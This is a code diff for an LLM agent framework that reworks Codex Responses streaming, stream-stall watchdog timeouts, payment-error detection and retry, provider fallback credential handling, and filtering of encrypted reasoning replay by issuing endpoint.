     "minimax-oauth": "MiniMax-M2.7-highspeed",
     "minimax-cn": "MiniMax-M2.7",
     "anthropic": "claude-haiku-4-5-20251001",
-    "ai-gateway": "google/gemini-3-flash",
     "opencode-zen": "gemini-3-flash",
     "opencode-go": "glm-5",
     "kilocode": "google/gemini-3-flash-preview",
@@ -384,15 +383,6 @@ def build_nvidia_nim_headers(base_url: str | None) -> dict:
     return {}
 
 
-# Vercel AI Gateway app attribution headers. HTTP-Referer maps to
-# referrerUrl and X-Title maps to appName in the gateway's analytics.
-from hermes_cli import __version__ as _HERMES_VERSION
-
-_AI_GATEWAY_HEADERS = {
-    "HTTP-Referer": "https://hermes-agent.nousresearch.com",
-    "X-Title": "Hermes Agent",
-    "User-Agent": f"HermesAgent/{_HERMES_VERSION}",
-}
 
 # Nous Portal extra_body for product attribution.
 # Callers should pass this as extra_body in chat.completions.create()
@@ -785,67 +775,60 @@ class _CodexCompletionsAdapter:
                 pass
 
         try:
-            # Collect output items and text deltas during streaming —
-            # the Codex backend can return empty response.output from
-            # get_final_response() even when items were streamed.
-            collected_output_items: List[Any] = []
-            collected_text_deltas: List[str] = []
-            has_function_calls = False
             if total_timeout:
                 timeout_timer = threading.Timer(float(total_timeout), _close_client_on_timeout)
                 timeout_timer.daemon = True
                 timeout_timer.start()
             _check_cancelled()
-            with self._client.responses.stream(**resp_kwargs) as stream:
-                for _event in stream:
-                    _check_cancelled()
-                    _etype = getattr(_event, "type", "")
-                    if _etype == "response.output_item.done":
-                        _done = getattr(_event, "item", None)
-                        if _done is not None:
-                            collected_output_items.append(_done)
-                    elif "output_text.delta" in _etype:
-                        _delta = getattr(_event, "delta", "")
-                        if _delta:
-                            collected_text_deltas.append(_delta)
-                    elif "function_call" in _etype:
-                        has_function_calls = True
-                _check_cancelled()
-                final = stream.get_final_response()
 
-            # Backfill empty output from collected stream events
-            _output = getattr(final, "output", None)
-            if isinstance(_output, list) and not _output:
-                if collected_output_items:
-                    final.output = list(collected_output_items)
-                    logger.debug(
-                        "Codex auxiliary: backfilled %d output items from stream events",
-                        len(collected_output_items),
-                    )
-                elif collected_text_deltas and not has_function_calls:
-                    # Only synthesize text when no tool calls were streamed —
-                    # a function_call response with incidental text should not
-                    # be collapsed into a plain-text message.
-                    assembled = "".join(collected_text_deltas)
-                    final.output = [SimpleNamespace(
-                        type="message", role="assistant", status="completed",
-                        content=[SimpleNamespace(type="output_text", text=assembled)],
-                    )]
-                    logger.debug(
-                        "Codex auxiliary: synthesized from %d deltas (%d chars)",
-                        len(collected_text_deltas), len(assembled),
-                    )
+            # Event-driven Responses streaming via the low-level
+            # ``responses.create(stream=True)`` path.  The high-level
+            # ``responses.stream(...)`` helper does post-hoc typed
+            # reconstruction from ``response.completed.response.output``,
+            # which the chatgpt.com Codex backend has been observed to
+            # return as ``null`` (gpt-5.5, May 2026) — that crashes the SDK
+            # with ``TypeError: 'NoneType' object is not iterable``.
+            # Consuming raw events and assembling the final response
+            # ourselves from ``response.output_item.done`` makes us
+            # structurally immune to that drift.
+            from agent.codex_runtime import _consume_codex_event_stream
+
+            stream_kwargs = dict(resp_kwargs)
+            stream_kwargs["stream"] = True
+
+            def _on_each_event(_event: Any) -> None:
+                # Re-check timeout/cancellation per event, matching the
+                # cadence the old in-line ``_check_cancelled()`` used.
+                _check_cancelled()
+
+            event_stream = self._client.responses.create(**stream_kwargs)
+            try:
+                final = _consume_codex_event_stream(
+                    event_stream,
+                    model=resp_kwargs.get("model"),
+                    on_event=_on_each_event,
+                )
+            finally:
+                close_fn = getattr(event_stream, "close", None)
+                if callable(close_fn):
+                    try:
+                        close_fn()
+                    except Exception:
+                        pass
+
+            if final is None:
+                raise RuntimeError("Codex auxiliary Responses stream did not return a final response")
 
             # Extract text and tool calls from the Responses output.
-            # Items may be SDK objects (attrs) or dicts (raw/fallback paths),
-            # so use a helper that handles both shapes.
+            # Items may be SimpleNamespace (raw-event path) or dicts
+            # (some legacy fallback paths), so handle both shapes.
             def _item_get(obj: Any, key: str, default: Any = None) -> Any:
                 val = getattr(obj, key, None)
                 if val is None and isinstance(obj, dict):
                     val = obj.get(key, default)
                 return val if val is not None else default
 
-            for item in getattr(final, "output", []):
+            for item in (getattr(final, "output", None) or []):
                 item_type = _item_get(item, "type")
                 if item_type == "message":
                     for part in (_item_get(item, "content") or []):
@@ -865,9 +848,12 @@ class _CodexCompletionsAdapter:
             resp_usage = getattr(final, "usage", None)
             if resp_usage:
                 usage = SimpleNamespace(
-                    prompt_tokens=getattr(resp_usage, "input_tokens", 0),
-                    completion_tokens=getattr(resp_usage, "output_tokens", 0),
-                    total_tokens=getattr(resp_usage, "total_tokens", 0),
+                    prompt_tokens=getattr(resp_usage, "input_tokens", 0)
+                        or (resp_usage.get("input_tokens", 0) if isinstance(resp_usage, dict) else 0),
+                    completion_tokens=getattr(resp_usage, "output_tokens", 0)
+                        or (resp_usage.get("output_tokens", 0) if isinstance(resp_usage, dict) else 0),
+                    total_tokens=getattr(resp_usage, "total_tokens", 0)
+                        or (resp_usage.get("total_tokens", 0) if isinstance(resp_usage, dict) else 0),
                 )
         except Exception as exc:
             if timed_out.is_set():
@@ -2258,11 +2244,15 @@ def _is_payment_error(exc: Exception) -> bool:
     # but sometimes wrap them in 429 or other codes.
     # Daily quota exhaustion from Bedrock, Vertex AI, and similar providers
     # uses different language but is semantically identical to credit exhaustion.
-    if status in {402, 429, None}:
+    if status in {402, 404, 429, None}:
         if any(kw in err_lower for kw in (
             "credits", "insufficient funds",
             "can only afford", "billing",
             "payment required",
+            "out of funds", "run out of funds",
+            "balance_depleted", "no usable credits",
+            "model_not_supported_on_free_tier",
+            "not available on the free tier",
             # Daily / monthly / weekly quota exhaustion keywords
             "quota exceeded", "quota_exceeded",
             "too many tokens per day", "daily limit",
@@ -2274,6 +2264,18 @@ def _is_payment_error(exc: Exception) -> bool:
     return False
 
 
+def _nous_portal_account_has_fresh_paid_access() -> bool:
+    """Return True only when the fresh Nous account API says paid access is allowed."""
+    try:
+        from hermes_cli.nous_account import get_nous_portal_account_info
+
+        account_info = get_nous_portal_account_info(force_fresh=True)
+        return account_info.paid_service_access is True
+    except Exception as exc:
+        logger.debug("Auxiliary Nous paid-entitlement refresh check failed: %s", exc)
+        return False
+
+
 def _is_rate_limit_error(exc: Exception) -> bool:
     """Detect rate-limit errors that warrant provider fallback.
 
@@ -2302,6 +2304,10 @@ def _is_rate_limit_error(exc: Exception) -> bool:
         if not any(kw in err_lower for kw in (
             "credits", "insufficient funds", "billing",
             "payment required", "can only afford",
+            "out of funds", "run out of funds",
+            "balance_depleted", "no usable credits",
+            "model_not_supported_on_free_tier",
+            "not available on the free tier",
         )):
             return True
     return False
@@ -3613,8 +3619,7 @@ def resolve_provider_client(
         else:
             # Fall back to profile.default_headers for providers that declare
             # client-level attribution headers on their profile (e.g. GMI
-            # User-Agent for traffic identification, Vercel AI Gateway
-            # Referer/Title for analytics).
+            # User-Agent for traffic identification).
             try:
                 from providers import get_provider_profile as _gpf_main
                 _ph_main = _gpf_main(provider)
@@ -4952,6 +4957,41 @@ def call_llm(
             resolved_provider == "nous"
             or base_url_host_matches(_base_info, "inference-api.nousresearch.com")
         )
+        if (
+            _is_payment_error(first_err)
+            and client_is_nous
+            and _nous_portal_account_has_fresh_paid_access()
+        ):
+            refreshed_client, refreshed_model = _refresh_nous_auxiliary_client(
+                cache_provider=resolved_provider or "nous",
+                model=final_model,
+                async_mode=False,
+                base_url=resolved_base_url,
+                api_key=resolved_api_key,
+                api_mode=resolved_api_mode,
+                main_runtime=main_runtime,
+                is_vision=(task == "vision"),
+            )
+            if refreshed_client is not None:
+                logger.info(
+                    "Auxiliary %s: refreshed Nous runtime credentials after paid account check, retrying",
+                    task or "call",
+                )
+                if refreshed_model and refreshed_model != kwargs.get("model"):
+                    kwargs["model"] = refreshed_model
+                try:
+                    return _validate_llm_response(
+                        refreshed_client.chat.completions.create(**kwargs), task)
+                except Exception as retry_err:
+                    if not (
+                        _is_auth_error(retry_err)
+                        or _is_payment_error(retry_err)
+                        or _is_connection_error(retry_err)
+                        or _is_rate_limit_error(retry_err)
+                    ):
+                        raise
+                    first_err = retry_err
+
         if _is_auth_error(first_err) and client_is_nous:
             refreshed_client, refreshed_model = _refresh_nous_auxiliary_client(
                 cache_provider=resolved_provider or "nous",
@@ -5354,6 +5394,40 @@ async def async_call_llm(
             resolved_provider == "nous"
             or base_url_host_matches(_client_base, "inference-api.nousresearch.com")
         )
+        if (
+            _is_payment_error(first_err)
+            and client_is_nous
+            and _nous_portal_account_has_fresh_paid_access()
+        ):
+            refreshed_client, refreshed_model = _refresh_nous_auxiliary_client(
+                cache_provider=resolved_provider or "nous",
+                model=final_model,
+                async_mode=True,
+                base_url=resolved_base_url,
+                api_key=resolved_api_key,
+                api_mode=resolved_api_mode,
+                is_vision=(task == "vision"),
+            )
+            if refreshed_client is not None:
+                logger.info(
+                    "Auxiliary %s (async): refreshed Nous runtime credentials after paid account check, retrying",
+                    task or "call",
+                )
+                if refreshed_model and refreshed_model != kwargs.get("model"):
+                    kwargs["model"] = refreshed_model
+                try:
+                    return _validate_llm_response(
+                        await refreshed_client.chat.completions.create(**kwargs), task)
+                except Exception as retry_err:
+                    if not (
+                        _is_auth_error(retry_err)
+                        or _is_payment_error(retry_err)
+                        or _is_connection_error(retry_err)
+                        or _is_rate_limit_error(retry_err)
+                    ):
+                        raise
+                    first_err = retry_err
+
         if _is_auth_error(first_err) and client_is_nous:
             refreshed_client, refreshed_model = _refresh_nous_auxiliary_client(
                 cache_provider=resolved_provider or "nous",

agent/background_review.py

@@ -483,6 +483,11 @@ def _run_review_in_thread(
             finally:
                 clear_thread_tool_whitelist()
 
+            # Snapshot review actions before teardown. close() is allowed to
+            # clean per-session state, but the user-visible self-improvement
+            # summary still needs the completed review agent's tool results.
+            review_messages = list(getattr(review_agent, "_session_messages", []))
+
             # Tear down memory providers while stdout is still
             # redirected so background thread teardown (Honcho flush,
             # Hindsight sync, etc.) stays silent.  The finally block
@@ -495,7 +500,6 @@ def _run_review_in_thread(
                 review_agent.close()
             except Exception:
                 pass
-            review_messages = list(getattr(review_agent, "_session_messages", []))
             review_agent = None
 
         # Scan the review agent's messages for successful tool actions

agent/chat_completion_helpers.py

@@ -129,6 +129,24 @@ def estimate_request_context_tokens(api_payload: Any) -> int:
     return _chars(api_payload) // 4
 
 
+def _is_openai_codex_backend(agent) -> bool:
+    base_url_lower = str(getattr(agent, "_base_url_lower", "") or "")
+    base_url_hostname = str(getattr(agent, "_base_url_hostname", "") or "")
+    return (
+        getattr(agent, "provider", None) == "openai-codex"
+        or (
+            base_url_hostname == "chatgpt.com"
+            and "/backend-api/codex" in base_url_lower
+        )
+    )
+
+
+def _env_float(name: str, default: float) -> float:
+    try:
+        return float(os.getenv(name, str(default)))
+    except (TypeError, ValueError):
+        return default
+
 
 def interruptible_api_call(agent, api_kwargs: dict):
     """
@@ -256,32 +274,89 @@ def interruptible_api_call(agent, api_kwargs: dict):
     # apply richer recovery (credential rotation, provider fallback).
     _stale_timeout = agent._compute_non_stream_stale_timeout(api_kwargs)
 
-    # ── Time-to-first-byte (TTFB) watchdog for the Codex Responses stream ──
+    # ── Codex Responses stream watchdogs ────────────────────────────────
     # The chatgpt.com/backend-api/codex endpoint has an intermittent failure
     # mode where it accepts the connection but never emits a single stream
     # event (observed directly: 0 events, no HTTP status, the socket just
     # hangs). A fresh reconnect succeeds in ~2s, but the wall-clock stale
     # timeout (often 180–900s) makes us wait minutes before retrying. While no
     # stream event has arrived yet we apply a much shorter TTFB cutoff so the
-    # main retry loop can reconnect promptly. Once the first event arrives the
-    # stream is healthy, so we fall back to the wall-clock stale timeout and
-    # never interrupt a legitimate long generation. Gated to codex_responses:
-    # only that path streams events incrementally (the chat_completions
-    # non-stream, anthropic and bedrock branches here have no first-event
-    # signal). The marker advances on *any* event (see codex_runtime), so
-    # reasoning-only / tool-call-only turns are not mistaken for a stall.
-    # Operators can tune via HERMES_CODEX_TTFB_TIMEOUT_SECONDS (0 disables).
-    _ttfb_enabled = agent.api_mode == "codex_responses"
-    try:
-        _ttfb_timeout = float(os.getenv("HERMES_CODEX_TTFB_TIMEOUT_SECONDS", "45"))
-    except (TypeError, ValueError):
-        _ttfb_timeout = 45.0
+    # main retry loop can reconnect promptly. Large subscription-backed Codex
+    # requests can legitimately spend tens of seconds in backend admission /
+    # prompt prefill before the first SSE event, so the no-byte TTFB watchdog
+    # is disabled for large chatgpt.com/backend-api/codex requests. A second
+    # failure mode emits an opening SSE frame and then stalls forever in SSL
+    # read; for that we watch the gap since the last Codex stream event. This
+    # matches Codex CLI's stream_idle_timeout model: any valid SSE event is
+    # activity. Operators can tune via HERMES_CODEX_TTFB_TIMEOUT_SECONDS and
+    # HERMES_CODEX_EVENT_STALE_TIMEOUT_SECONDS (0 disables each).
+    _codex_watchdog_enabled = agent.api_mode == "codex_responses"
+    _openai_codex_backend = _is_openai_codex_backend(agent)
+    _est_tokens_for_codex_watchdog = estimate_request_context_tokens(api_kwargs)
+    if _codex_watchdog_enabled and _openai_codex_backend:
+        if _est_tokens_for_codex_watchdog > 100_000:
+            _stale_timeout = max(_stale_timeout, 1200.0)
+        elif _est_tokens_for_codex_watchdog > 50_000:
+            _stale_timeout = max(_stale_timeout, 900.0)
+        elif _est_tokens_for_codex_watchdog > 25_000:
+            _stale_timeout = max(_stale_timeout, 600.0)
+
+    if _est_tokens_for_codex_watchdog > 100_000:
+        _codex_idle_timeout_default = 180.0
+    elif _est_tokens_for_codex_watchdog > 50_000:
+        _codex_idle_timeout_default = 120.0
+    elif _est_tokens_for_codex_watchdog > 10_000:
+        _codex_idle_timeout_default = 60.0
+    else:
+        _codex_idle_timeout_default = 12.0
+
+    _ttfb_enabled = _codex_watchdog_enabled
+    _ttfb_timeout = _env_float("HERMES_CODEX_TTFB_TIMEOUT_SECONDS", 12.0)
     if _ttfb_timeout <= 0:
         _ttfb_enabled = False
-    if _ttfb_enabled:
+    elif _openai_codex_backend:
+        _ttfb_disable_above = _env_float("HERMES_CODEX_TTFB_DISABLE_ABOVE_TOKENS", 25_000.0)
+        _ttfb_strict = os.environ.get("HERMES_CODEX_TTFB_STRICT", "").strip().lower() in {
+            "1", "true", "yes", "on"
+        }
+        if (
+            not _ttfb_strict
+            and _ttfb_disable_above > 0
+            and _est_tokens_for_codex_watchdog >= _ttfb_disable_above
+        ):
+            _ttfb_enabled = False
+            logger.info(
+                "Disabling openai-codex no-byte TTFB watchdog for large request "
+                "(context=~%s tokens >= %.0f). Waiting for backend response instead. "
+                "Set HERMES_CODEX_TTFB_STRICT=1 to force early reconnects.",
+                f"{_est_tokens_for_codex_watchdog:,}",
+                _ttfb_disable_above,
+            )
+        else:
+            _ttfb_cap = _env_float("HERMES_CODEX_TTFB_MAX_SECONDS", 20.0)
+            if _ttfb_cap > 0 and _ttfb_timeout > _ttfb_cap:
+                logger.info(
+                    "Capping openai-codex no-byte TTFB timeout from %.0fs to %.0fs "
+                    "(context=~%s tokens). Set HERMES_CODEX_TTFB_MAX_SECONDS to tune.",
+                    _ttfb_timeout,
+                    _ttfb_cap,
+                    f"{_est_tokens_for_codex_watchdog:,}",
+                )
+                _ttfb_timeout = _ttfb_cap
+
+    _codex_idle_enabled = _codex_watchdog_enabled
+    _codex_idle_timeout = _env_float(
+        "HERMES_CODEX_EVENT_STALE_TIMEOUT_SECONDS",
+        _codex_idle_timeout_default,
+    )
+    if _codex_idle_timeout <= 0:
+        _codex_idle_enabled = False
+
+    if _codex_watchdog_enabled:
         # Reset before the worker starts so a marker left over from a previous
         # call on this agent can't be misread as first-byte for this one.
         agent._codex_stream_last_event_ts = None
+        agent._codex_stream_last_progress_ts = None
 
     _call_start = time.time()
     agent._touch_activity("waiting for non-streaming API response")
@@ -313,6 +388,13 @@ def interruptible_api_call(agent, api_kwargs: dict):
             and _elapsed > _ttfb_timeout
             and getattr(agent, "_codex_stream_last_event_ts", None) is None
         ):
+            _silent_hint: Optional[str] = None
+            _hint_fn = getattr(agent, "_codex_silent_hang_hint", None)
+            if callable(_hint_fn):
+                try:
+                    _silent_hint = _hint_fn(model=api_kwargs.get("model"))
+                except Exception:
+                    _silent_hint = None
             logger.warning(
                 "Codex stream produced no bytes within TTFB cutoff "
                 "(%.0fs > %.0fs, model=%s). Backend accepted the connection "
@@ -320,11 +402,18 @@ def interruptible_api_call(agent, api_kwargs: dict):
                 "loop can reconnect.",
                 _elapsed, _ttfb_timeout, api_kwargs.get("model", "unknown"),
             )
-            agent._emit_status(
-                f"⚠️ No first byte from provider in {int(_elapsed)}s "
-                f"(codex stream, model: {api_kwargs.get('model', 'unknown')}). "
-                f"Reconnecting."
-            )
+            if _silent_hint:
+                agent._buffer_status(
+                    f"⚠️ No first byte from provider in {int(_elapsed)}s "
+                    f"(codex stream, model: {api_kwargs.get('model', 'unknown')}). "
+                    f"Reconnecting. {_silent_hint}"
+                )
+            else:
+                agent._buffer_status(
+                    f"⚠️ No first byte from provider in {int(_elapsed)}s "
+                    f"(codex stream, model: {api_kwargs.get('model', 'unknown')}). "
+                    f"Reconnecting."
+                )
             try:
                 _close_request_client_once("codex_ttfb_kill")
             except Exception:
@@ -334,10 +423,55 @@ def interruptible_api_call(agent, api_kwargs: dict):
             )
             # Wait briefly for the worker to notice the closed connection.
             t.join(timeout=2.0)
+            if result["error"] is None and result["response"] is None:
+                if _silent_hint:
+                    result["error"] = TimeoutError(
+                        f"Codex stream produced no bytes within {int(_elapsed)}s "
+                        f"(TTFB threshold: {int(_ttfb_timeout)}s). {_silent_hint}"
+                    )
+                else:
+                    result["error"] = TimeoutError(
+                        f"Codex stream produced no bytes within {int(_elapsed)}s "
+                        f"(TTFB threshold: {int(_ttfb_timeout)}s)"
+                    )
+            break
+
+        # Stream-idle detector: the Codex backend emitted at least one SSE
+        # frame, then stopped emitting events. Valid keepalive / in_progress
+        # frames refresh _codex_stream_last_event_ts and should not be killed.
+        _last_codex_event_ts = getattr(agent, "_codex_stream_last_event_ts", None)
+        if (
+            _codex_idle_enabled
+            and _last_codex_event_ts is not None
+            and (time.time() - _last_codex_event_ts) > _codex_idle_timeout
+        ):
+            _event_stale_elapsed = time.time() - _last_codex_event_ts
+            logger.warning(
+                "Codex stream produced no SSE events for %.0fs after first byte "
+                "(threshold %.0fs, model=%s, context=~%s tokens). Killing "
+                "connection so the retry loop can reconnect.",
+                _event_stale_elapsed,
+                _codex_idle_timeout,
+                api_kwargs.get("model", "unknown"),
+                f"{_est_tokens_for_codex_watchdog:,}",
+            )
+            agent._buffer_status(
+                f"⚠️ Codex stream sent no events for {int(_event_stale_elapsed)}s "
+                f"after first byte (model: {api_kwargs.get('model', 'unknown')}). "
+                f"Reconnecting."
+            )
+            try:
+                _close_request_client_once("codex_stream_idle_kill")
+            except Exception:
+                pass
+            agent._touch_activity(
+                f"codex stream killed after {int(_event_stale_elapsed)}s with no SSE events"
+            )
+            t.join(timeout=2.0)
             if result["error"] is None and result["response"] is None:
                 result["error"] = TimeoutError(
-                    f"Codex stream produced no bytes within {int(_elapsed)}s "
-                    f"(TTFB threshold: {int(_ttfb_timeout)}s)"
+                    f"Codex stream produced no SSE events for {int(_event_stale_elapsed)}s "
+                    f"after first byte (threshold: {int(_codex_idle_timeout)}s)"
                 )
             break
 
@@ -359,13 +493,13 @@ def interruptible_api_call(agent, api_kwargs: dict):
                 api_kwargs.get("model", "unknown"), f"{_est_ctx:,}",
             )
             if _silent_hint:
-                agent._emit_status(
+                agent._buffer_status(
                     f"⚠️ No response from provider for {int(_elapsed)}s "
                     f"(non-streaming, model: {api_kwargs.get('model', 'unknown')}). "
                     f"{_silent_hint}"
                 )
             else:
-                agent._emit_status(
+                agent._buffer_status(
                     f"⚠️ No response from provider for {int(_elapsed)}s "
                     f"(non-streaming, model: {api_kwargs.get('model', 'unknown')}). "
                     f"Aborting call."
@@ -507,6 +641,9 @@ def build_api_kwargs(agent, api_messages: list) -> dict:
             is_codex_backend=is_codex_backend,
             is_xai_responses=is_xai_responses,
             github_reasoning_extra=agent._github_models_reasoning_extra_body() if is_github_responses else None,
+            replay_encrypted_reasoning=bool(
+                getattr(agent, "_codex_reasoning_replay_enabled", True)
+            ),
         )
 
     # ── chat_completions (default) ─────────────────────────────────────
@@ -1019,6 +1156,25 @@ def try_activate_fallback(agent, reason: "FailoverReason | None" = None) -> bool
             agent._transport_cache.clear()
         agent._fallback_activated = True
 
+        # Clear the credential pool when the fallback provider doesn't match
+        # the pool's provider.  The pool was seeded for the primary provider;
+        # leaving it attached means downstream recovery (rate_limit / billing /
+        # auth) calls ``_swap_credential`` with a primary entry which overwrites
+        # the agent's ``base_url`` back to the primary's endpoint — every
+        # fallback request then 404s against the wrong host.  See #33163.
+        # When the fallback shares the pool's provider (e.g. both openrouter
+        # entries with different routing) the pool is preserved.
+        _existing_pool = getattr(agent, "_credential_pool", None)
+        if _existing_pool is not None:
+            _pool_provider = (getattr(_existing_pool, "provider", "") or "").strip().lower()
+            if _pool_provider and _pool_provider != fb_provider:
+                logger.info(
+                    "Fallback to %s/%s: clearing primary credential pool "
+                    "(pool_provider=%s) to prevent cross-provider contamination",
+                    fb_provider, fb_model, _pool_provider,
+                )
+                agent._credential_pool = None
+
         # Honor per-provider / per-model request_timeout_seconds for the
         # fallback target (same knob the primary client uses).  None = use
         # SDK default.
@@ -1106,7 +1262,7 @@ def try_activate_fallback(agent, reason: "FailoverReason | None" = None) -> bool
                 api_mode=agent.api_mode,
             )
 
-        agent._emit_status(
+        agent._buffer_status(
             f"🔄 Primary model failed — switching to fallback: "
             f"{fb_model} via {fb_provider}"
         )
@@ -2095,7 +2251,7 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
                             mid_tool_call=False,
                             diag=request_client_holder.get("diag"),
                         )
-                        agent._emit_status(
+                        agent._buffer_status(
                             "❌ Provider returned malformed streaming data after "
                             f"{_max_stream_retries + 1} attempts. "
                             "The provider may be experiencing issues — "
@@ -2202,7 +2358,7 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
                 _stale_elapsed, _stream_stale_timeout,
                 api_kwargs.get("model", "unknown"), f"{_est_ctx:,}",
             )
-            agent._emit_status(
+            agent._buffer_status(
                 f"⚠️ No response from provider for {int(_stale_elapsed)}s "
                 f"(model: {api_kwargs.get('model', 'unknown')}, "
                 f"context: ~{_est_ctx:,} tokens). "

agent/codex_responses_adapter.py

@@ -23,6 +23,38 @@ from agent.prompt_builder import DEFAULT_AGENT_IDENTITY
 logger = logging.getLogger(__name__)
 
 
+def _classify_responses_issuer(
+    *,
+    is_xai_responses: bool = False,
+    is_github_responses: bool = False,
+    is_codex_backend: bool = False,
+    base_url: Optional[str] = None,
+) -> str:
+    """Stable identifier for the Responses endpoint that mints encrypted_content.
+
+    ``reasoning.encrypted_content`` is sealed to the endpoint that issued it:
+    replaying a Codex-minted blob against xAI (or vice versa) deterministically
+    returns HTTP 400 ``invalid_encrypted_content``. Stamping the issuer on
+    persisted reasoning items and filtering at replay time lets a single
+    conversation switch models without poisoning history with un-decryptable
+    reasoning blocks.
+    """
+    if is_xai_responses:
+        return "xai_responses"
+    if is_github_responses:
+        return "github_responses"
+    if is_codex_backend:
+        return "codex_backend"
+    if base_url:
+        return f"other:{base_url}"
+    return "other"
+
+
+# Throttle the per-process cross-issuer skip warning so we don't flood logs
+# when a long history contains many stale-issuer reasoning blocks.
+_CROSS_ISSUER_WARN_EMITTED = False
+
+
 # Matches Codex/Harmony tool-call serialization that occasionally leaks into
 # assistant-message content when the model fails to emit a structured
 # ``function_call`` item.  Accepts the common forms:
@@ -248,6 +280,8 @@ def _chat_messages_to_responses_input(
     messages: List[Dict[str, Any]],
     *,
     is_xai_responses: bool = False,
+    replay_encrypted_reasoning: bool = True,
+    current_issuer_kind: Optional[str] = None,
 ) -> List[Dict[str, Any]]:
     """Convert internal chat-style messages to Responses input items.
 
@@ -261,6 +295,27 @@ def _chat_messages_to_responses_input(
     integration).  We now replay encrypted reasoning on every Responses
     transport (xAI, native Codex, custom relays) and let xAI tell us
     explicitly if a specific surface ever rejects a payload.
+
+    ``replay_encrypted_reasoning`` is the per-session kill switch.  Some
+    OpenAI-compatible relays accept the request but later reject the
+    replayed encrypted blob with HTTP 400 ``invalid_encrypted_content``;
+    when that happens the retry loop calls
+    ``AIAgent._disable_codex_reasoning_replay`` which both strips cached
+    items from the conversation history and threads ``replay_enabled=False``
+    through this converter so subsequent turns send no reasoning items.
+
+    ``current_issuer_kind`` enables a per-item cross-issuer guard. The
+    Responses API's ``encrypted_content`` blob is decryptable only by the
+    endpoint that minted it — replaying a Codex-issued blob against xAI
+    (or vice versa) always yields HTTP 400 ``invalid_encrypted_content``
+    and breaks every subsequent turn in the same session.  When this
+    argument is provided and a reasoning item carries an ``_issuer_kind``
+    stamp from a different endpoint, the item is dropped from the replayed
+    input.  Legacy items without a stamp are still replayed
+    (backwards-compatible).  The two guards compose:
+    ``replay_encrypted_reasoning=False`` is the session-wide kill switch
+    (drops ALL replay); ``current_issuer_kind`` is the per-item filter
+    that runs only when replay is still enabled.
     """
     items: List[Dict[str, Any]] = []
     seen_item_ids: set = set()
@@ -290,7 +345,11 @@ def _chat_messages_to_responses_input(
                 # This applies to every Responses transport including
                 # xAI — see _chat_messages_to_responses_input docstring
                 # for the May 2026 reversal of the earlier xAI gate.
-                codex_reasoning = msg.get("codex_reasoning_items")
+                codex_reasoning = (
+                    msg.get("codex_reasoning_items")
+                    if replay_encrypted_reasoning
+                    else None
+                )
                 has_codex_reasoning = False
                 if isinstance(codex_reasoning, list):
                     for ri in codex_reasoning:
@@ -298,11 +357,40 @@ def _chat_messages_to_responses_input(
                             item_id = ri.get("id")
                             if item_id and item_id in seen_item_ids:
                                 continue
+                            # Cross-issuer guard: drop reasoning blocks that
+                            # were minted by a different Responses endpoint.
+                            # The current endpoint cannot decrypt foreign
+                            # encrypted_content and would reject the whole
+                            # request with HTTP 400 invalid_encrypted_content.
+                            # Unstamped (legacy) items pass through.
+                            item_issuer = ri.get("_issuer_kind")
+                            if (
+                                current_issuer_kind is not None
+                                and item_issuer is not None
+                                and item_issuer != current_issuer_kind
+                            ):
+                                global _CROSS_ISSUER_WARN_EMITTED
+                                if not _CROSS_ISSUER_WARN_EMITTED:
+                                    logger.warning(
+                                        "Dropping reasoning item minted by %s while "
+                                        "calling %s — encrypted_content is sealed to "
+                                        "its issuer. This happens when a session "
+                                        "switches model providers mid-conversation.",
+                                        item_issuer, current_issuer_kind,
+                                    )
+                                    _CROSS_ISSUER_WARN_EMITTED = True
+                                continue
                             # Strip the "id" field — with store=False the
                             # Responses API cannot look up items by ID and
                             # returns 404.  The encrypted_content blob is
                             # self-contained for reasoning chain continuity.
-                            replay_item = {k: v for k, v in ri.items() if k != "id"}
+                            # Also strip the internal "_issuer_kind" stamp;
+                            # it is a Hermes-side metadata key and not part
+                            # of the Responses API schema.
+                            replay_item = {
+                                k: v for k, v in ri.items()
+                                if k not in ("id", "_issuer_kind")
+                            }
                             items.append(replay_item)
                             if item_id:
                                 seen_item_ids.add(item_id)
@@ -825,6 +913,26 @@ def _preflight_codex_api_kwargs(
     elif "stream" in api_kwargs:
         raise ValueError("Codex Responses stream flag is only allowed in fallback streaming requests.")
 
+    # Safety-net sanitization for xAI Responses (#28490): defense-in-depth
+    # for the same slash-enum strip that ``chat_completion_helpers`` and
+    # ``auxiliary_client`` apply at request-build time.  If a future code
+    # path forgets to sanitize before calling us, this catches the bypass
+    # so xAI doesn't 400 with ``Invalid arguments passed to the model``
+    # (HuggingFace IDs like ``Qwen/Qwen3.5-0.8B`` from MCP tool schemas).
+    #
+    # Gated on the model name pattern because native Codex (OpenAI) DOES
+    # accept slash-containing enum values — stripping them there would
+    # silently degrade tool-schema constraints.  xAI is the only
+    # Responses-API surface that rejects the shape.
+    model_name_for_provider_check = str(api_kwargs.get("model") or "").lower()
+    is_xai_model = model_name_for_provider_check.startswith(("grok-", "x-ai/grok-"))
+    if is_xai_model and normalized.get("tools"):
+        try:
+            from tools.schema_sanitizer import strip_slash_enum
+            normalized["tools"], _ = strip_slash_enum(normalized["tools"])
+        except Exception:
+            pass  # Best-effort — the caller-level sanitization should have handled it
+
     unexpected = sorted(key for key in api_kwargs if key not in allowed_keys)
     if unexpected:
         raise ValueError(
@@ -876,8 +984,18 @@ def _extract_responses_reasoning_text(item: Any) -> str:
 # Full response normalization
 # ---------------------------------------------------------------------------
 
-def _normalize_codex_response(response: Any) -> tuple[Any, str]:
-    """Normalize a Responses API object to an assistant_message-like object."""
+def _normalize_codex_response(
+    response: Any,
+    *,
+    issuer_kind: Optional[str] = None,
+) -> tuple[Any, str]:
+    """Normalize a Responses API object to an assistant_message-like object.
+
+    ``issuer_kind`` (when provided) is stamped onto each reasoning item the
+    response yields, so future replays can detect when the active endpoint
+    differs from the one that minted the encrypted_content blob and drop
+    the item instead of triggering HTTP 400 invalid_encrypted_content.
+    """
     output = getattr(response, "output", None)
     if not isinstance(output, list) or not output:
         # The Codex backend can return empty output when the answer was
@@ -919,6 +1037,7 @@ def _normalize_codex_response(response: Any) -> tuple[Any, str]:
     has_incomplete_items = response_status in {"queued", "in_progress", "incomplete"}
     saw_commentary_phase = False
     saw_final_answer_phase = False
+    saw_reasoning_item = False
 
     for item in output:
         item_type = getattr(item, "type", None)
@@ -956,6 +1075,7 @@ def _normalize_codex_response(response: Any) -> tuple[Any, str]:
                     raw_message_item["phase"] = normalized_phase
                 message_items_raw.append(raw_message_item)
         elif item_type == "reasoning":
+            saw_reasoning_item = True
             reasoning_text = _extract_responses_reasoning_text(item)
             if reasoning_text:
